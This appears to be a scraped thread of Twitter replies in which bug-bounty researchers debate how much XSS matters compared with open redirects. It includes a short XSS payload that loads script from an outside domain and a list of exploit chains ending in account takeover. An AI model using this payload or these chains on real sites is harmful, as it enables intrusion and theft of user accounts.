xssdoctor(@xssdoctor) 's Twitter Profile Photo

Raphael Silva Justin Gardner hakluke Of course you’re right xss can be much more easily weaponized. But I would argue that xss without further escalation is only useful for phishing and open redirect would do a similar job

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Raphael Silva(@0x_rcss) 's Twitter Profile Photo

Justin Gardner xssdoctor hakluke Apart from phishing and being part of an exploit chain what other uses do you usually see? Genuinely asking, I feel like I could do more with these and they are everywhere

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Raphael Silva(@0x_rcss) 's Twitter Profile Photo

xssdoctor Justin Gardner hakluke I'd say that's pretty reductive of XSS, the ceiling is much higher there a lot of the time unless you're severely restricted in some way

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Raphael Silva(@0x_rcss) 's Twitter Profile Photo

Arham Khan Something like <script src='//15.rs' ?

That's about 21 characters, so you still have space in there for a slightly bigger domain if you need. You don't need the scheme nor the last '>' most of the time.

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Justin Gardner(@Rhynorater) 's Twitter Profile Photo

Raphael Silva xssdoctor hakluke Yeah, I mean 'being a part of an exploit chain' is SUPER broad, so putting that aside there isn't anything, but as for chains:
* OR => XSS (if it is client-side OR and JS scheme is available)
* OR + CSPT => XSS or CSRF
* SSRF + OR => Bypassed Host Restrictions
* OAuth + OR => ATO

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